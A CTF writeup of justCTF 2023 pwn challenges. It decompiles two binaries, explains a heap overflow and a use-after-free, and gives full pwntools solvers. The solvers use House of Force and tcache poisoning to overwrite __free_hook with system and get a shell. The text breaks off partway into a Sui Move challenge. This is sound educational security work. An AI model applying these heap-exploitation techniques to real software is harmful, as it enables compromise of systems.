[📓] Writeup - justCTF 2023 PWN

Terbit pada tanggal 11 Juni 2023

Ditulis oleh: Vaints
justCTF 2023
justCTF 2023

justCTF 2023 Writeup - PWN


I spend my weekend for playing justCTF 2023 (well organized by justCatTheFish) with SKSD. Here's a writeup for a challenge that I solved during the competition.

Welcome in my house

Challenge Description:

May the Force be with you.

nc house.nc.jctf.pro 1337
Note: do not focus on run.sh, nsjail.cfg or the Dockerfile: those are there to host and jail/sandbox the challenge properly. Note2: If you get a Couldn't initialize cgroup 2 user namespace for pid=... in container logs, you lack cgroups v2 - you can mitigate this by commenting out use_cgroupv2, group_pids_max, cgroup_mem_max, cgroup_cpu_ms_per_sec lines in nsjail.cfg.

Author: sploitpid1

https://s3.cdn.justctf.team/55154dda-cd0b-4a2f-9ba8-b8b1c01b04dd/house.zip

We're given a zip archive that contain these files: Helllo

Here's some information about the binary:

Based on the Dockerfile we know the server run using Ubuntu 18.04, which means it uses libc version 2.27.

Below is decompiled code of the binary:

Decompiled Binary
unsigned __int64 create_user()
{
  char *v0; // rax
  size_t size; // [rsp+8h] [rbp-28h] BYREF
  char *src; // [rsp+10h] [rbp-20h]
  char *dest; // [rsp+18h] [rbp-18h]
  char *v5; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  printf("Enter username: ");
  src = (char *)malloc(0x19uLL);
  __isoc99_scanf("%s", src);
  putchar(10);
  dest = (char *)malloc(0x18uLL);
  strcpy(dest, src);
  printf("Enter password: ");
  v5 = (char *)malloc(0x18uLL);
  __isoc99_scanf("%s", v5);
  putchar(10);
  printf("Enter disk space: ");
  putchar(10);
  __isoc99_scanf("%lu", &size);
  malloc(size);
  v0 = (char *)malloc(0x18uLL);
  strcpy(v0, v5);
  return __readfsqword(0x28u) ^ v6;
}

int __fastcall read_flag(const char *a1)
{
  if ( !strcmp(a1, "root") )
    return system("cat flag.txt");
  else
    return puts("[-] You have to be root to read flag!\n");
}

void __fastcall __noreturn menu(const char *a1)
{
  int v1; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  while ( 1 )
  {
    puts("[!]\tWelcome in my house!\t[!]\n");
    printf("Actual user: %s\n\n", a1);
    puts("1. Create user\n2. Read flag\n3. Exit\n");
    printf(">>  ");
    __isoc99_scanf("%d", &v1);
    putchar(10);
    switch ( v1 )
    {
      case 1:
        create_user();
        break;
      case 2:
        read_flag(a1);
        break;
      case 3:
        exit(0);
    }
  }
}

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *v3; // [rsp+8h] [rbp-8h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v3 = (char *)malloc(0x18uLL);
  strcpy(v3, "admin");
  menu(v3);
}

As you can see, in the main() function the program call malloc() and copy the "admin" string into an allocated heap chunk (we will call it a VICTIM CHUNK), then it calls the menu() function, and pass the pointer of VICTIM CHUNK as its argument.

Then the program will print a menu list and receive a decimal input from the user. There are two menus inside the menu() function. Let's take a look at the create_user() function first.

The program will ask the user to input a username, and allocate two heap chunks (let's call it as old and new chunks). The old username chunk will be used to receive an input from the user using scanf("%s"). The "%s" format for the scanf function doesn't do boundaries check and it will lead to Heap Overflow (I will explain it later). Then the program will ask the user to input a password and then store it inside the old password chunk. After that, it will ask the user to input a decimal value and use it to allocate a new heap chunk (new password chunk) using malloc(), then it will copy the string inside the old password chunk to the new password chunk.

There's a read_flag() function that passes a VICTIM CHUNK from earlier as it argument. It will do a comparison if a VICTIM CHUNK s a "root" string or not (the default value is "admin") using the strcmp() function; if it contains "root" it will print the flag.

As I explained before, there's a Heap Overflow vulnerability is caused by the scanf("%s").

gef➤  r
Starting program: /home/stnaive/Documents/ctf/justCTF2023/pwn/01Welcome_in_my_house/writeup/private/house 
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc1000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[!]	Welcome in my house!	[!]

Actual user: admin

1. Create user
2. Read flag
3. Exit

>>  1

Enter username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

...
...

gef➤  heap chunks
Chunk(addr=0x603010, size=0x290, flags=PREV_INUSE)
    [0x0000000000603010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x6032a0, size=0x20, flags=PREV_INUSE)
    [0x00000000006032a0     61 64 6d 69 6e 00 00 00 00 00 00 00 00 00 00 00    admin...........]
Chunk(addr=0x6032c0, size=0x30, flags=PREV_INUSE)
    [0x00000000006032c0     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41    AAAAAAAAAAAAAAAA]
Chunk(addr=0x6032f0, size=0x4141414141414140, flags=PREV_INUSE)
    [0x00000000006032f0     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41    AAAAAAAAAAAAAAAA]
Chunk(addr=0x6032f0, size=0x4141414141414140, flags=PREV_INUSE)  ←  top chunk
gef➤  

We need to take advantage of this vuln to overwrite the TOP_CHUNK SIZE to -1 ( equals to 2**64 - 1) and do malloc() with negative value (because the VICTIM CHUNK is located before TOP_CHUNK) so the new password chunk will end up right at VICTIM CHUNK (it has the same address).

Solver Script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from os import path
import sys

# ==========================[ Information
DIR = path.dirname(path.abspath(__file__))
EXECUTABLE = "/house"
TARGET = DIR + EXECUTABLE 
HOST, PORT = "house.nc.jctf.pro", 1337
REMOTE, LOCAL = False, False

# ==========================[ Tools
elf = ELF(TARGET)
elfROP = ROP(elf)

# ==========================[ Configuration
context.update(
    arch=["i386", "amd64", "aarch64"][1],
    endian="little",
    os="linux",
    log_level = ['debug', 'info', 'warn'][2],
    terminal = ['tmux', 'split-window', '-h'],
)

# ==========================[ Exploit

def exploit(io, libc=null):
    if LOCAL==True:
        #raw_input("Fire GDB!")
        if len(sys.argv) > 1 and sys.argv[1] == "d":
            choosen_gdb = [
                "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py",     # 0 - pwndbg
                "source /home/mydata/tools/gdb/gdb-peda/peda.py",          # 1 - peda
                "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py"    # 2 - gef
                ][2]
            cmd = choosen_gdb + """
            b *create_user+0x49
            # b *create_user+0xf1
            # b *create_user+244
            b *create_user+249
            """
            gdb.attach(io, gdbscript=cmd)
    io.sendlineafter(b">>", b"1")
    io.sendlineafter(b": ", b"A"*0x18)

    TARGET = 0x603260
    HEAP_BASE = 0x603000
    TOP_CHUNK = HEAP_BASE + 0x2a0 + 8
    print(hex(TOP_CHUNK-TARGET), TOP_CHUNK-TARGET)
    p = b"root\x00".ljust(0x18, b"\x00") # new password "root" will overwrite VICTIM CHUNK "admin"
    p += p64(2**64-1) # set TOP_CHUNK size to -1
    io.sendlineafter(b": ", p)

    val = -0xa4 # after some adjustment, it ended up at the same address as VICTIM CHUNK
    io.sendlineafter(b": ", str(val).encode())

    io.interactive()

if __name__ == "__main__":
    io, libc = null, null

    if args.REMOTE:
        REMOTE = True
        io = remote(HOST, PORT)
        # libc = ELF("___")
        
    else:
        LOCAL = True
        io = process(
            [TARGET, ],
            env={
            #     "LD_PRELOAD":DIR+"/___",
            #     "LD_LIBRARY_PATH":DIR+"/___",
            },
        )
        # libc = ELF("___")
    exploit(io, libc)

Flag: justCTF{x_Wh@T_D0_Y0U_KN0W_AB0UT_TH3_F0RC3?}

nucleus

Challenge Description:

nc nucleus.nc.jctf.pro 1337
Author: adamm

https://s3.cdn.justctf.team/9a7ecb31-f7cc-4a00-b513-6b858603c766/nucleus

Here's some information about the binary:

Decompiled Binary
unsigned __int64 info()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Nucleus (Pied Piper clone) 0.1-dev");
  puts("Copyright 2023 Hooli LLC\n");
  printf("Built on %s at %s\n", "Jun  1 2023", "20:57:58");
  return __readfsqword(0x28u) ^ v1;
}

__int64 __fastcall read_bytes(_BYTE *a1, int a2)
{
  int i; // [rsp+1Ch] [rbp-14h]
  __int64 v5; // [rsp+20h] [rbp-10h]

  v5 = 0LL;
  for ( i = 0; i != a2; ++i )
  {
    read(0, a1, 1uLL);
    if ( *a1 == 10 )
      break;
    ++a1;
    ++v5;
  }
  return v5;
}

_BOOL8 __fastcall is_digit(char a1)
{
  return a1 > 47 && a1 <= 57;
}

unsigned __int64 get_int()
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, buf, 0x10uLL);
  return strtoul(buf, 0LL, 0);
}

__int64 __fastcall compress(const char *a1, __int64 a2)
{
  __int64 v2; // rax
  char v4; // [rsp+13h] [rbp-2Dh]
  __int64 v5; // [rsp+18h] [rbp-28h]
  size_t i; // [rsp+20h] [rbp-20h]
  size_t j; // [rsp+28h] [rbp-18h]
  size_t v8; // [rsp+30h] [rbp-10h]

  v8 = strlen(a1);
  v5 = 0LL;
  for ( i = 0LL; i < v8; i = j )
  {
    v4 = a1[i];
    for ( j = i + 1; j < v8 && v4 == a1[j]; ++j )
      ;
    if ( (int)j - (int)i > 1 )
    {
      *(_BYTE *)(a2 + v5) = 36;
      v5 += sprintf((char *)(a2 + v5 + 1), "%d", (unsigned int)(j - i)) + 1LL;
    }
    v2 = v5++;
    if ( v4 == ' ' )
      *(_BYTE *)(a2 + v2) = 32;
    else
      *(_BYTE *)(v2 + a2) = v4;
  }
  *(_BYTE *)(a2 + v5) = 0;
  return a2;
}

__int64 __fastcall decompress(__int64 a1, int a2, __int64 a3)
{
  int v3; // eax
  int v4; // eax
  int v5; // eax
  int v8; // [rsp+28h] [rbp-18h]
  int v9; // [rsp+2Ch] [rbp-14h]
  int i; // [rsp+2Ch] [rbp-14h]
  int v11; // [rsp+30h] [rbp-10h]
  int j; // [rsp+34h] [rbp-Ch]

  v8 = 0;
  v9 = 0;
  while ( v9 < a2 )
  {
    if ( *(_BYTE *)(v9 + a1) == 36 && *(_BYTE *)(v9 + 1LL + a1) == 36 )
    {
      v3 = v8++;
      *(_BYTE *)(v3 + a3) = 10;
      v9 += 2;
    }
    else if ( *(_BYTE *)(v9 + a1) == 36 && (unsigned int)is_digit((unsigned int)*(char *)(v9 + 1LL + a1)) )
    {
      v11 = 0;
      for ( i = v9 + 1; (unsigned int)is_digit((unsigned int)*(char *)(i + a1)); ++i )
        v11 = 10 * v11 + *(char *)(i + a1) - 48;
      for ( j = 0; j < v11; ++j )
      {
        v4 = v8++;
        *(_BYTE *)(a3 + v4) = *(_BYTE *)(i + a1);
      }
      v9 = i + 1;
    }
    else
    {
      v5 = v8++;
      *(_BYTE *)(a3 + v5) = *(_BYTE *)(v9++ + a1);
    }
  }
  *(_BYTE *)(v8 + a3) = 0;
  return a3;
}

// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v4; // rax
  size_t v5; // rax
  float v6; // xmm0_4
  float v7; // [rsp+0h] [rbp-4064h]
  char v8; // [rsp+Bh] [rbp-4059h] BYREF
  __int64 v9; // [rsp+Ch] [rbp-4058h]
  unsigned __int64 decompress_ctr; // [rsp+14h] [rbp-4050h]
  unsigned __int64 compress_ctr; // [rsp+1Ch] [rbp-4048h]
  char *v12; // [rsp+24h] [rbp-4040h]
  unsigned __int64 v13; // [rsp+2Ch] [rbp-4038h]
  unsigned __int64 idx; // [rsp+34h] [rbp-4030h]
  __int64 bytes; // [rsp+3Ch] [rbp-4028h]
  __int64 v16; // [rsp+44h] [rbp-4020h]
  char *s; // [rsp+4Ch] [rbp-4018h]
  void *ptr[1024]; // [rsp+54h] [rbp-4010h] BYREF
  void *CHUNK_LIST[1026]; // [rsp+2054h] [rbp-2010h] BYREF

  while ( &CHUNK_LIST[514] != &ptr[2] )
    ;
  CHUNK_LIST[1025] = (void *)__readfsqword(0x28u);
  v9 = 0LL;
  decompress_ctr = 0LL;
  compress_ctr = 0LL;
  v12 = (char *)malloc(0x400uLL);
  memset(ptr, 0, sizeof(ptr));
  memset(CHUNK_LIST, 0, 0x2000uLL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  info();
  while ( 2 )
  {
    ++v9;
    puts("1. Compress");
    puts("2. Decompress");
    puts("3. Cleanup");
    puts("4. Exit");
    printf("> ");
    v13 = get_int();
    switch ( v13 )
    {
      case 1uLL:
        printf("Enter text: ");
        bytes = read_bytes(v12, 0x3FF);
        CHUNK_LIST[compress_ctr] = malloc(2 * bytes);
        if ( !CHUNK_LIST[compress_ctr] )
          goto LABEL_5;
        s = (char *)compress(v12, (__int64)CHUNK_LIST[compress_ctr]);
        v4 = strlen(s);
        if ( (v4 & 0x8000000000000000LL) != 0LL )
          v7 = (float)(int)(v4 & 1 | (v4 >> 1)) + (float)(int)(v4 & 1 | (v4 >> 1));
        else
          v7 = (float)(int)v4;
        v5 = strlen(v12);
        if ( (v5 & 0x8000000000000000LL) != 0LL )
          v6 = (float)(int)(v5 & 1 | (v5 >> 1)) + (float)(int)(v5 & 1 | (v5 >> 1));
        else
          v6 = (float)(int)v5;
        printf("[cid:%ld, ratio: %.2f] compressed text: %s\n\n", compress_ctr++, (float)(v7 / v6), s);
        goto LABEL_25;
      case 2uLL:
        printf("Enter compressed text: ");
        bytes = read_bytes(v12, 1023);
        ptr[decompress_ctr] = malloc(2 * bytes);
        if ( ptr[decompress_ctr] )
        {
          v16 = decompress((__int64)v12, bytes, (__int64)ptr[decompress_ctr]);
          printf("[did:%ld] decompressed text: %s\n\n", decompress_ctr, (const char *)ptr[decompress_ctr]);
          ++decompress_ctr;
LABEL_25:
          if ( compress_ctr + decompress_ctr > 8 )
            exit(0);
          continue;
        }
LABEL_5:
        puts("Error: Failed to allocate memory.");
        return 1;
      case 3uLL:
        printf("Compress or decompress slot? (c/d): ");
        __isoc99_scanf(" %c", &v8);
        getchar();
        printf("Idx: ");
        idx = get_int();
        if ( idx <= decompress_ctr && v8 == 'd' )
        {
          free(ptr[idx]);
        }
        else
        {
          if ( idx > compress_ctr || v8 != 99 )
          {
            puts("Invalid choice");
            exit(-1);
          }
          free(CHUNK_LIST[idx]);
        }
        goto LABEL_25;
      case 4uLL:
        printf("Bye");
        exit(0);
      case 5uLL:
        printf("Idx: ");
        idx = get_int();
        printf("content: %s\n", (const char *)CHUNK_LIST[idx]);
        goto LABEL_25;
      default:
        puts("Invalid choice");
        exit(-1);
    }
  }
}    

The program will create a new heap chunk with malloc() with 0x400 as it argument and will be used to retrieve input from user. This program has five menus as follows:

  • Menu 1 - Compress, receive input from user using the read_bytes() function that will return the value of how many bytes entered by the user, then the result value will be multiplied with two and then pass it as argument to call malloc(). After that, it will do some compression method using compress() function. Here's what the compress() function do:

    User input: ABBCCCDDDDEEA
    Result: A$2B$3C$4D$2EA
    

    If the bytes that inputed by user is different from the next bytes it will keep the byte without adding the "$n" format before the byte (n is a number). But if the bytes is the same as next bytes it will put "$n" format right before the byte (n is the number of consecutive equal bytes). The compression result saved inside the 2nd parameter when calling compress() function.

  • Menu 2 - Decompress, similar to the compress() function, it will receive input from user using read_butes() and multiply the result with two and then use it as an argument to call malloc() and store it inside the CHUNK_LIST. Here's what the decompress() function do:

    User input: A$2B$3C$4D$2EA
    Result: ABBCCCDDDDEEA
    
    User input: ABBCCCDDDDEEA
    Result: ABBCCCDDDDEEA
    
    User input: $256A
    Result: AAAAAAAAAAAAAAA...AAAA (256 bytes of A)
    

    The decompress() function will "unpack" the "$n" format (n is a number) if any, and it will write consecutive bytes of n number. If the user input large n value like the example I gave, it will caused a Heap Overflow.

  • Menu 3 - Delete, will ask user for input, which type of data that user want to delete (compressed / decompressed). Then ask user for the index of the data that user want to delete, after that program will "delete" the data using free() function. But after the program calling free(), it doesn't nullified / remove the pointer from the CHUNK_LIST so it will caused Use After Free vulnerability.

  • Menu 4 - Exit, literally exit the program.

  • Menu 5 - Show Data, it will ask user to input an index that user want to see the data.

So, we got two vulnerabilties which is Heap Overflow & Use After Free, and we also have show data menu that can be used for doing some leak. But we don't know which version of libc that being used on the server, so I tried to allocate a fastbin sized heap chunk and free it, then leak the heap address using "show data" menu. If it show me something that looks like a binary address (starts with 0x55.. or 0x56) it's possible the libc version that being used is libc 2.32 or above because the "Safe-Linking" mitigation, but since the server doesn't give me anything, I'm assuming that the service uses libc with version 2.31 or below.

(Left: Local Machine Ubuntu 22.04 w/ Libc 2.34 & Right: Target Server w/ Libc 2.31 or below)

My plan is to create tcachebins chunks and an unsortedbin chunk for leaking the heap address (honestly it's unnecessary because we aren't facing safe-linking mitigation) & libc address by taking advantage of Use After Free. After that, do Heap Overflow to perform tcachebins poisoning and the __free_hook as the target to write the system function address.

Solver script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from os import path
import sys

# ==========================[ Information
DIR = path.dirname(path.abspath(__file__))
EXECUTABLE = "/nucleus"
TARGET = DIR + EXECUTABLE 
HOST, PORT = "nucleus.nc.jctf.pro", 1337
REMOTE, LOCAL = False, False

# ==========================[ Tools
elf = ELF(TARGET)
elfROP = ROP(elf)

# ==========================[ Configuration
context.update(
    arch=["i386", "amd64", "aarch64"][1],
    endian="little",
    os="linux",
    log_level = ['debug', 'info', 'warn'][2],
    terminal = ['tmux', 'split-window', '-h'],
)

# ==========================[ Exploit

def compress(data):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b": ", data)
    io.recvuntil(b"compressed text: ")
    resp = io.recvuntil(b"\n\n",drop=True)
    print("COMPRESSED:", data)
    return resp

def decompress(data):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b": ", data)
    io.recvuntil(b"decompressed text: ")
    resp = io.recvuntil(b"\n\n",drop=True)
    print("DECOMPRESSED:", data)
    return resp

def delete(idx, choice=b"c"):
    io.sendlineafter(b"> ", b"3")
    io.sendlineafter(b": ", choice)
    io.sendafter(b": ", str(idx).encode())
    print("DELETED", idx, "(%s)" % choice)

def view(idx):
    io.sendlineafter(b"> ", b"5")
    io.sendafter(b": ", str(idx).encode())
    io.recvuntil(b"content: ")
    resp = io.recvuntil(b"\n",drop=True)
    print("RESP %d:" % idx, resp)
    return resp



def exploit(io, libc=null):
    if LOCAL==True:
        #raw_input("Fire GDB!")
        if len(sys.argv) > 1 and sys.argv[1] == "d":
            choosen_gdb = [
                "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py",     # 0 - pwndbg
                "source /home/mydata/tools/gdb/gdb-peda/peda.py",          # 1 - peda
                "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py"    # 2 - gef
                ][2]
            cmd = choosen_gdb + """
            b *main+0x200
            b *main+0x35c
            """
            gdb.attach(io, gdbscript=cmd)
    
    # CREATE 3 DUMMY CHUNK TCACHE_BINS SIZED CHUNK and 1 UNSORTED_BINS SIZED CHUNK
    compress(b"A"*0x100) # 0 (0x100 * 2 = 0x200 => 0x210)
    compress(b"B"*0x100) # 1 (0x100 * 2 = 0x200 => 0x210)
    compress(b"C"*0x100) # 2 (0x100 * 2 = 0x200 => 0x210)
    compress(b"D"*0x210) # 3 (0x210 * 2 = 0x420 => 0x430) 
    compress(b"PREVENT CHUNK CONSOLIDATE") # 4 (Dummy)

    # TCACHE_BINS list after freeing these chunk
    # tcache_bins 0x210 => HEAP_CHUNK_0 -> HEAP_CHUNK_1 -> HEAP_CHUNK_2
    delete(2, b"c")
    delete(1, b"c")
    delete(0, b"c")

    # Leak the HEAP ADDRESS and get the HEAP BASE
    LEAKED_HEAP = u64(view(0).ljust(8, b"\x00"))
    HEAP_BASE = LEAKED_HEAP & ~0xFFF
    print("LEAKED_HEAP                  :", hex(LEAKED_HEAP))
    print("HEAP_BASE                    :", hex(HEAP_BASE))
    
    # free the UNSORTED_BINS SIZED CHUNK 
    delete(3, b"c") # Delete 0x430 sized chunk

    # Leak the LIBC ADDRESS and calculate the LIBC BASE ADDRESS
    LEAKED_LIBC = u64(view(3).ljust(8, b"\x00")) 
    libc.address = LEAKED_LIBC - libc.symbols["__malloc_hook"] & ~0xFFF
    print("LEAKED_LIBC                  :", hex(LEAKED_LIBC))
    print("libc.address                 :", hex(libc.address))


    # Take advantage of Heap Overflow in decompress() function to overwrite the fd pointer of tcache_bins
    # TCACHE_BINS list after allocating this
    # tcache_bins 0x210 => HEAP_CHUNK_1 -> HEAP_CHUNK_2 (The Normal Scenario)
    # tcache_bins 0x210 => HEAP_CHUNK_1 -> __free_hook (Overflowed by decompress() function)
    p = b""
    p += f"${0x210-8}A".encode()
    p += p64(0x210+1)
    p += p64(libc.symbols["__free_hook"])
    p = p.ljust(0x100, b"A") # adjust the size to 0x100 (because the read_input() will return how many bytes that it received)
    decompress(p) # 0

    # write "/bin/sh" string inside decompressed chunk list (idx: 1)
    # TCACHE_BINS list after allocating this
    # tcache_bins 0x210 => __free_hook
    p = b""
    p += b"/bin/sh\x00"
    p = p.ljust(0x100, b"A")  # adjust the size to 0x100 (because the read_input() will return how many bytes that it received)
    decompress(p) # 1

    # Overwrite __free_hook with system address, so when the program call free() it will trigger system()
    p = b""
    p += p64(libc.symbols["system"])
    p = p.ljust(0x100, b"\x00")  # adjust the size to 0x100 (because the read_input() will return how many bytes that it received)
    decompress(p) # 2

    # delete the "/bin/sh" string that has been allocated before
    # program will call free("/bin/sh"), but since the __free_hook is overwrited, it will trigger system("/bin/sh")
    delete(1, b"d")

    # get the flag
    io.interactive()

if __name__ == "__main__":
    io, libc = null, null

    if args.REMOTE:
        REMOTE = True
        io = remote(HOST, PORT)
        # libc = ELF("libc-2.27.so")
        libc = ELF("libc6_2.31-0ubuntu9.9_amd64.so")

        
    else:
        LOCAL = True
        io = process(
            [TARGET, ],
            env={
            #     "LD_PRELOAD":DIR+"/___",
            #     "LD_LIBRARY_PATH":DIR+"/___",
            },
        )
        # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
        libc = ELF("/home/mydata/libc/libc6_2.31-0ubuntu9.9_amd64.so")

    exploit(io, libc)

Flag: justCTF{d3c0mpr3ss_4_fun}

BabyOtter

Challenge Description:

While countless CTF players revel in the companionship of 'just cats' or 'just fish', a truly distinguished cadre of enthusiasts takes pride in their extraordinary bond with otters. To join this exclusive league of otter aficionados you must embark upon a quest to unveil the well-guarded secret code that unlocks the gateway to otter ownership.

nc babyotter.nc.jctf.pro 1337
Author: FeDEX from OtterSec

https://s3.cdn.justctf.team/87533a8d-8827-42c9-9077-95aee13add51/baby_otter.zip

We're given a zip archive that contain the following files:

[$ ]stnaive¦Haoshoku¦ 勝 ~/Documents/ctf/justCTF2023/pwn/07BabyOtter/writeup 》unzip baby_otter.zip 
Archive:  baby_otter.zip
  inflating: Dockerfile              
   creating: framework/
   creating: framework/chall/
  inflating: framework/chall/Move.lock  
  inflating: framework/chall/Move.toml  
   creating: framework/chall/sources/
  inflating: framework/chall/sources/baby_otter_challenge.move  
  inflating: framework/Cargo.lock    
  inflating: framework/Cargo.toml    
   creating: framework/src/
  inflating: framework/src/main.rs   
   creating: framework-solve/
   creating: framework-solve/solve/
  inflating: framework-solve/solve/Move.lock  
  inflating: framework-solve/solve/Move.toml  
   creating: framework-solve/solve/sources/
  inflating: framework-solve/solve/sources/solve.move  
  inflating: framework-solve/Cargo.lock  
  inflating: framework-solve/Cargo.toml  
   creating: framework-solve/dependency/
  inflating: framework-solve/dependency/Move.toml  
   creating: framework-solve/dependency/sources/
  inflating: framework-solve/dependency/sources/baby_otter_challenge.move  
   creating: framework-solve/src/
  inflating: framework-solve/src/main.rs  
  inflating: run_client.sh           
  inflating: run_server.sh           

The program is divided into two, namely, the challenges part is stored in the framework folder and the solver is stored in the framework-solver folder. Let's dive into the challenges part first and focus on this file:

framework/src/main.rs
use std::env;
use std::fmt;
use std::thread;
use std::mem::drop;
use std::path::Path;
use std::error::Error;
use std::io::{Read, Write};
use std::net::{TcpListener, TcpStream};

use sui_ctf_framework::NumericalAddress;
use sui_transactional_test_runner::args::SuiValue;
use sui_transactional_test_runner::test_adapter::FakeID;

fn handle_client(mut stream: TcpStream) -> Result<(), Box<dyn Error>> {

    // Initialize SuiTestAdapter
    let chall = "baby_otter_challenge";
    let named_addresses = vec![
        ("challenge".to_string(), NumericalAddress::parse_str("0x8107417ed30fcc2d0b0dfd680f12f6ead218cb971cb989afc8d28ad37da89467")?),
        ("solution".to_string(), NumericalAddress::parse_str("0x42f5c1c42496636b461f1cb4f8d62aac8ebac3ca7766c154b63942671bc86836")?),
    ];
    
    let precompiled = sui_ctf_framework::get_precompiled(Path::new(&format!(
        "./chall/build/{}/sources/dependencies",
        chall
    )));

    let mut adapter = sui_ctf_framework::initialize(
        named_addresses,
        &precompiled,
        Some(vec!["challenger".to_string(), "solver".to_string()]),
    );
    
    let mut solution_data = [0 as u8; 1000]; 
    let _solution_size = stream.read(&mut solution_data)?;

    // Publish Challenge Module
    let mod_bytes: Vec<u8> = std::fs::read(format!(
        "./chall/build/{}/bytecode_modules/{}.mv",
        chall, chall
    ))?;
    let chall_dependencies: Vec<String> = Vec::new();
    let chall_addr = sui_ctf_framework::publish_compiled_module(&mut adapter, mod_bytes, chall_dependencies, Some(String::from("challenger")));
    println!("[SERVER] Challenge published at: {:?}", chall_addr);

    // Publish Solution Module
    let mut sol_dependencies: Vec<String> = Vec::new();
    sol_dependencies.push(String::from("challenge"));
    let sol_addr = sui_ctf_framework::publish_compiled_module(&mut adapter, solution_data.to_vec(), sol_dependencies, Some(String::from("solver")));
    println!("[SERVER] Solution published at: {:?}", sol_addr);

    let mut output = String::new();
    fmt::write(
        &mut output,
        format_args!(
            "[SERVER] Challenge published at {}. Solution published at {}",
            chall_addr.to_string().as_str(),
            sol_addr.to_string().as_str()
        ),
    ).unwrap();
    stream.write(output.as_bytes()).unwrap();

    // Prepare Function Call Arguments
    let mut args_sol : Vec<SuiValue> = Vec::new();
    let arg_ob = SuiValue::Object(FakeID::Enumerated(1, 1));
    args_sol.push(arg_ob);

    // Call solve Function
    let ret_val = sui_ctf_framework::call_function(
        &mut adapter,
        sol_addr,
        "baby_otter_solution",
        "solve",
        args_sol,
        Some("solver".to_string())
    );
    println!("[SERVER] Return value {:#?}", ret_val);
    println!("");

    // Check Solution
    let mut args2: Vec<SuiValue> = Vec::new();
    let arg_ob2 = SuiValue::Object(FakeID::Enumerated(1, 1));
    args2.push(arg_ob2);

    let ret_val = sui_ctf_framework::call_function(
        &mut adapter,
        chall_addr,
        chall,
        "is_owner",
        args2,
        Some("challenger".to_string()),
    );
    println!("[SERVER] Return value {:#?}", ret_val);
    println!("");

    // Validate Solution
    match ret_val {
        Ok(()) => {
            println!("[SERVER] Correct Solution!");
            println!("");
            if let Ok(flag) = env::var("FLAG") {
                let message = format!("[SERVER] Congrats, flag: {}", flag);
                stream.write(message.as_bytes()).unwrap();
            } else {
                stream.write("[SERVER] Flag not found, please contact admin".as_bytes()).unwrap();
            }
        }
        Err(_error) => {
            println!("[SERVER] Invalid Solution!");
            println!("");
            stream.write("[SERVER] Invalid Solution!".as_bytes()).unwrap();
        }
    };

    Ok(())
}

fn main() -> Result<(), Box<dyn Error>> {

    // Create Socket - Port 31337
    let listener = TcpListener::bind("0.0.0.0:31337")?;
    println!("[SERVER] Starting server at port 31337!");

    // Wait For Incoming Solution
    for stream in listener.incoming() {
        match stream {
            Ok(stream) => {
                println!("[SERVER] New connection: {}", stream.peer_addr().unwrap());
                thread::spawn(move|| handle_client(stream).unwrap());
            }
            Err(e) => {
                println!("[SERVER] Error: {}", e);
            }
        }        
    }

    // Close Socket Server
    drop(listener);
    Ok(())
}

Just by looking at the main.rs file, I can tell it's a blockchain exploitation challenge and it do some setup stuff. Now focus on this file:

framework/chall/sources/baby_otter_challenge.move
module challenge::baby_otter_challenge {
    
    // [*] Import dependencies
    use std::vector;

    use sui::object::{Self, UID};
    use sui::transfer;
    use sui::tx_context::{TxContext};

    // [*] Error Codes
    const ERR_INVALID_CODE : u64 = 31337;
 
    // [*] Structs
    struct Status has key, store {
        id : UID,
        solved : bool,
    }

    // [*] Module initializer
    fun init(ctx: &mut TxContext) {
        transfer::public_share_object(Status {
            id: object::new(ctx),
            solved: false
        });
    }

    // [*] Local functions
    fun gt() : vector<u64> {

        let table : vector<u64> = vector::empty<u64>();
        let i = 0;

        while( i < 256 ) {
            let tmp = i;
            let j = 0;

            while( j < 8 ) {
                if( tmp & 1 != 0 ) {
                    tmp = tmp >> 1;
                    tmp = tmp ^ 0xedb88320;
                } else {
                    tmp = tmp >> 1;
                };

                j = j+1;
            };

            vector::push_back(&mut table, tmp);
            i = i+1;
        };

        table
    }

    fun hh(input : vector<u8>) : u64 {

        let table : vector<u64> = gt();
        let tmp : u64 = 0xffffffff;
        let input_length = vector::length(&input);
        let i = 0;

        while ( i < input_length ) {
            let byte : u64 = (*vector::borrow(&mut input, i) as u64);

            let index = tmp ^ byte;
            index = index & 0xff;

            tmp = tmp >> 8;
            tmp = tmp ^ *vector::borrow(&mut table, index);

            i = i+1;
        };

        tmp ^ 0xffffffff
    }
 
    // [*] Public functions
    public entry fun request_ownership(status: &mut Status, ownership_code : vector<u8>, _ctx: &mut TxContext) {

        let ownership_code_hash : u64 = hh(ownership_code);
